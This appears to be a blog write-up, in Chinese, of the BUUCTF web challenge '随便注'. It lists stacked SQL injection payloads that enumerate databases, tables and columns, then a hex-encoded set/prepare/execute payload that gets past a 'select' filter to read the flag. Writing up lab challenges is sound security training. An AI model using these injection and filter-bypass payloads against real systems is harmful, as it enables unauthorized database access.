buuctf刷题之旅—web—随便注

打开环境

 根据提示应该是sql注入

 查看数据库名,和数据表

1';show databases;#

 1';show tables;#

 查看表内字段(1';desc `1919810931114514`;#)

 发现关键字flag,进行查询

经过注入发现存在过滤

在注入过程中发现如下代码

于是利用set与prepare组合,利用16进制绕过select绕过验证

16进制(select * from 1919810931114514`),

 构造payload如下

1';SeT@a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

 成功拿到flag

原文地址:https://www.cnblogs.com/anweilx/p/12353174.html